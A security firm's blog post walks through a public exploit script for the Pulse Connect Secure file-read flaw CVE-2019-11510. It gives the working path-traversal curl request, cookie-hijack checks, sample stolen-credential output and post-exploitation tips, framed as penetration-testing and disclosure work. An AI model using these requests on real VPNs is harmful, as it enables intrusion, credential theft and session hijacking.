At this year’s Black Hat and DEFCON conferences, Orange Tsai and Meh Chang gave a talk entitled “Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs.” The presentation of their original research included a host of vulnerability disclosures for popular enterprise VPN products including Pulse Connect Secure.
Since then, one vulnerability in particular has received a great deal of attention from the security community because of its potential to cause widespread damage. Orange and Meh demonstrated a pre-authentication arbitrary file read vulnerability (CVE-2019-11510) that revealed sensitive information like VPN client credentials, private SSH keys, and session cookies. They showed how this information was used to compromise a client session and gain access to a VPN network, then demonstrated additional post-authentication exploits that resulted in complete takeover of the VPN server.
The presenters intentionally left key details out of their explanation of the initial attack vector to allow time for Pulse customers to patch their VPN software. Orange and Meh stated that their responsibility was to make the world more secure, so they chose not to release the exploit upon which all the others depended. Ten days after the conferences, however, 0xDezzy and Alyssa Herrera published proof-of-concept code for Metasploit that revealed the vulnerable path that was key to a functional exploit. From there, the race was on.
In order to contribute to Bishop Fox’s mission to protect our clients, I researched the Pulse SSL VPN arbitrary file read vulnerability and developed an exploit for our penetration testers to use on their engagements. Provided with a hostname or IP address, the bash script:
The script is available for download from the Bishop Fox GitHub repository, and pull requests for improvements are encouraged.
$ ./pwn-pulse.sh 10.5.5.5
Target is 10.5.5.5
Pulse Connect Secure 9.0.2.63965
Testing arbitrary file read...vulnerable!
Downloading (1/3)...done
Downloading (2/3)...done
Downloading (3/3)...done
Extracting product version...
Extracting SSH keys...
Extracting local user details...
Extracting session cookies...
Extracting administrator details...
Testing admin session cookies...
Extracting observed VPN logins...
Testing client session cookies...
Done.
The impetus for this project was simple: in accordance with Bishop Fox’s mission to deliver outstanding client services, I wanted us to be able to identify this vulnerability faster and better than the other options that were available at the time. Enough information had been published by mid-August to write a complete exploit, yet the existing proofs-of-concept fell short of gathering all the data Orange and Meh had promised was available. Using the Metasploit module as a starting point, I set about identifying vulnerable servers within our client pool, then (after having notified those clients about the vulnerability), figuring out how to extract as much sensitive information as possible. To date, I have not seen another exploit that gathers as much data as easily as this one does, so we are now happy to publish it for general consumption.
Despite focusing solely on a single vulnerability, automating its exploitation brought a fair few challenges. Here‘s a walkthrough of the development process for those who are interested.
Alyssa Herrera disclosed on Twitter that version information for Pulse Connect Secure is available on a publicly accessible page at:
This provides an easy way to identify which endpoints are running Pulse Connect Secure and to passively assess the likelihood that they are vulnerable.
Once we have a list of potential targets, we can validate them by performing a simple HTTP GET request to see if sensitive file contents are disclosed. The path to use for that request was provided in the Metasploit module:
If we get a response containing the contents of the /etc/passwd file, we know the target is vulnerable and can proceed to download more valuable files from the server. (For the technically curious, Orange explained exactly how and why the path traversal works in his latest blog post on the subject.)
In their bug bounty report to Twitter, Orange and Meh identified several important files on the Pulse Connect Secure server. Three have particular significance:
To obtain these files, we simply perform the same HTTP GET request written above but substitute the path to the file we want in place of /etc/passwd. One gotcha here is that modern browsers automatically resolve URLs before submitting requests, which defeats this exploit by effectively removing the vulnerable path. To work around this limitation, we must submit the request with a tool like curl and use a special flag (--path-as-is) to disable URL rewriting.
Here we try to request the system file directly, and get a redirect to the login page:
$ curl -Ik --path-as-is https://10.5.5.5/data/runtime/mtmp/system
HTTP/1.1 302 Found
Location: https://10.5.5.5/dana-na/auth/welcome.cgi
Content-Type: text/html; charset=utf-8
Set-Cookie: DSLaunchURL=2F646174612F72756E74696D652F6D746D702F73797374656D; path=/; Secure
Connection: close
Content-Length: 0
Strict-Transport-Security: max-age=31536000
Here we request the file using the vulnerable path, and we get a successful response:
$ curl -Ik --path-as-is https://10.5.5.5/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/system?/dana/html5acc/guacamole/
HTTP/1.1 200 OK
Cache-Control: max-age=86400, must-revalidate
Last-Modified: Mon, 09 Sep 2019 11:03:59 GMT
Content-Length: 4194304
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Once we have successfully downloaded the files, all that remains is to parse out the relevant information from them. Simple, right? As it turns out, this part was not as straightforward as expected.
First, the files are labeled with an MDB extension, which suggests they are database files. Testing for compatibility with several known formats, however, did not reveal which format was used. Without understanding the files’ data structure, we must resort to less reliable methods of searching and extracting relevant information.
Second, the files contain binary data, much of which is incomprehensible to human eyes. The simplest way to extract the legible parts is to use the strings tool, which looks for patterns in the data that appear to be text strings and outputs them in a list. This can narrow the search scope for parsing but also loses some of the context around the general organization of the data.
Third, a manual review of the data in the binary files revealed some patterns in their structure, but also a surprising amount of variability in that structure. For example, the randomVal/data.mdb file contains little more than lists of session cookies and the unique IDs of the accounts to which they were issued, but they do not appear in the file in a discernable logical order. That is to say, the most recent (and therefore potentially active) sessions could be anywhere in the file, not necessarily at the beginning or end of it. Another example is information about the administrator account, which can be found in the system file but does not appear to record the relevant fields in a consistent order.
Fourth, as I continued to research, I discovered that different VPN server configurations could produce a wide variety of data formats in these files. The system file contains a list of usernames and hashes of the passwords that correspond to them, but it only includes users that have local accounts on the server. If the VPN is configured to use Active Directory authentication, for example, there may be few local users to discover. The dataa/data.mdb file, however, keeps a record of successful authentications regardless of whether the accounts are local or external. There is variability here too, as I found that some passwords are recorded in clear text while others are base64 encoded with their corresponding usernames. The system file in some cases seems to contain cached authentication credentials as well, for reasons beyond my ken.
Finally, I encountered many instances of truncated data, which is not unexpected in cache files.
All of these inconsistencies present a challenge to writing a parser that is effective against files pulled from a variety of software versions and configurations – challenge accepted!
I spent a great deal of time testing various approaches using multiple data sets, and eventually worked out a Pretty Good™ solution to the inconsistencies:
Taken together, these techniques seem to produce pretty consistent results. There is likely room for improvement, so if you find a way to make them better, please feel free to submit a pull request via GitHub with the changes!
Now that we have extracted as much sensitive information as we can, only one task remains. Out of all the session cookies we identified, which ones are currently active? Fortunately, we can determine this easily by testing them with a request to the VPN client page. After successfully authenticating to the SSL VPN, users are redirected here:
If we send an HTTP GET request to that page with the session cookie included under the label “DSID,” we will get a 200 status code in response. If the session has expired and the cookie is no longer valid, we will instead get a 302 redirect to the login page. Therefore, any request that produces a response code of 200 indicates that the session is still active and can be easily hijacked by planting the session cookie in our browser and visiting the VPN client page.
Here is an example of an expired session cookie:
$ curl -Ik -b "DSID=f8d4ab2056156bba1c8c665f2546cf57" https://10.5.5.5/dana/home/index.cgi
HTTP/1.1 302 Found
Location: https://10.5.5.5/dana-na/auth/welcome.cgi?p=forced-off
Content-Type: text/html; charset=utf-8
Set-Cookie: DSLaunchURL=2F64616E612F686F6D652F696E6465782E636769; path=/; Secure
Connection: close
Content-Length: 0
Strict-Transport-Security: max-age=31536000
Here is one that is still active:
$ curl -Ik -b "DSID=a449f26618db6a6bf1199ecdf553de69" https://10.5.5.5/dana/home/index.cgi
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: DSLastAccess=1568028857; path=/; Secure
Pragma: no-cache
Cache-Control: no-store
Expires: -1
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Having developed a functional exploit for CVE-2019-11510, I was able to use it to assist several Bishop Fox customers identify and remediate vulnerabilities on their Pulse Connect Secure servers. We have also built components of this exploit into our Continuous Attack Surface Testing (CAST) managed service to give our customers peace of mind that they will be notified the minute a vulnerable VPN shows up on their perimeter.
If you are interested in testing this exploit against your own infrastructure, feel free! Here’s a step-by-step usage guide:
$ ./pwn-pulse.sh 10.5.5.5
Target is 10.5.5.5
Pulse Connect Secure 9.0.2.63965
Testing arbitrary file read...vulnerable!
Downloading (1/3)...done
Downloading (2/3)...done
Downloading (3/3)...done
Extracting product version...
Extracting SSH keys...
Extracting local user details...
Extracting session cookies...
Extracting administrator details...
Testing admin session cookies...
Testing admin session cookies...
Extracting observed VPN logins...
Testing client session cookies...
Done.
Pulse Connect Secure 9.0.2.63965
SSH keys:
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDM0ovpgle5R7pu
[REDACTED]
-----END PRIVATE KEY-----
Local User Details:
Username Unique ID Password Hash (md5crypt)
-------- --------- ------------------------
admin 460c4f38ab7015f020858c2c833742414cdb298b
admin2 92ffc5d6afb746be16a5baef8906eb2e71cf5cd4
test 315be85ecca362d45aba6cf39a0f7f7497ca537c $1$danastre$dL8KnwKz8IcUkeWHIu6Xg1
Administrator Details:
Username: admin
Unique ID: 460c4f38ab7015f020858c2c833742414cdb298b
Password Hash (sha256(md5crypt)): d320545ff8413328c4300ee707615f4c9a05d7a92a4bf15d18a2bd3f9749db95
Session Cookies (DSIDs):
Username: admin2
Unique ID: 92ffc5d6afb746be16a5baef8906eb2e71cf5cd4
Password Hash (sha256(md5crypt)): da0046cd2c5cac27a2c5210fac337937ae2a0de2937a138b5be037a627167462
Session Cookies (DSIDs):
f8d4ab2056156bba1c8c665f2546cf57
Observed VPN Logins:
Username Password Name Email Login Time
-------- -------- ---- ----- ----------
nikolac [REDACTED] Nik[REDACTED] Nik[REDACTED].com Fri Apr 19 15:35:20 2019
gils [REDACTED] Gil[REDACTED] Gil[REDACTED].com Fri Apr 19 18:50:53 2019
admin [REDACTED]
elii [REDACTED] Eli[REDACTED] [REDACTED].com Fri Aug 16 20:51:34 2019
marvinm [REDACTED] Mar[REDACTED] Mar[REDACTED].com Thu Aug 15 17:26:31 2019
gils [REDACTED] Gil[REDACTED] Gil[REDACTED].com Thu Aug 15 17:12:56 2019
VPN Session Cookies (DSIDs):
Value User
----- ----
262a9a7a118a952d85f3bb56df46838b test **ACTIVE**
If you want to skip the session cookie checks (which can generate significant traffic to the endpoint being tested), run the script with the “--no-cookie-tests” flag like so:
./pwn-pulse.sh --no-cookie-tests 10.0.0.5
If you want to re-run analysis without downloading new files from the server, run the script with the “--no-downloads” flag like so:
./pwn-pulse.sh --no-downloads 10.0.0.5
Of course, you can use both flags at the same time if you wish:
./pwn-pulse.sh --no-downloads --no-cookie-tests 10.0.0.5
Review the output to determine how best to gain access to the VPN:
If you succeed at gaining access to the VPN, congratulations! You have successfully exploited the pre-authentication vulnerability and have obtained a foothold inside the secure perimeter. Your next steps from here can vary depending on your level of access. If you only have client-level privilege, but the corporate intranet is fully accessible, you may not need to press the attack any further. If you want to elevate your privileges to that of an administrator, but the administrative login page does not seem to be accessible, check out Orange and Meh’s latest Pulse blog post for some tips. If you already have administrative access and want to pop a root shell on the server, have a look at 0xDezzy’s exploit script for CVE-2019-11539. If you just want to abuse your administrative privilege to attack VPN clients, you can do that too – just use the built-in “logon script” feature to have every client execute arbitrary code after logging in.
At Bishop Fox, we go the extra mile to help our clients stay ahead of the latest threats to their security. It has been my great pleasure to assist in this effort and to be able to share the fruits of my labor with the security community at large. Thank you to all the researchers whose invaluable contributions made this work possible. I hope you enjoy the script and may it bring you many happy returns!
Jon Williams
8240 S. Kyrene Rd.
Suite A113
Tempe, AZ
85284
United States